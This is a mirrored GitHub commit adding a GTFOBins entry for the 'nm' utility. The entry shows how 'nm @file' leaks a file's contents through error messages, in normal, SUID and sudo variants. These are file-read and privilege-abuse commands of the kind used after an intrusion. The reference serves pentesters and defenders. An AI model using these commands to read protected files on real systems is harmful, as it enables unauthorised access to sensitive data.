mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-11-08 07:49:17 +01:00
Add nm file-read
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
parent
74e021e8ef
commit
7e2e188305
16
_gtfobins/nm.md
Normal file
16
_gtfobins/nm.md
Normal file
@ -0,0 +1,16 @@
|
|||||||
|
---
|
||||||
|
description: The file content is treated as command line options and disclosed through error messages, so this is not suitable for reading arbitrary binary data.
|
||||||
|
functions:
|
||||||
|
file-read:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
nm @$LFILE
|
||||||
|
suid:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
./nm @$LFILE
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
sudo nm @$LFILE
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user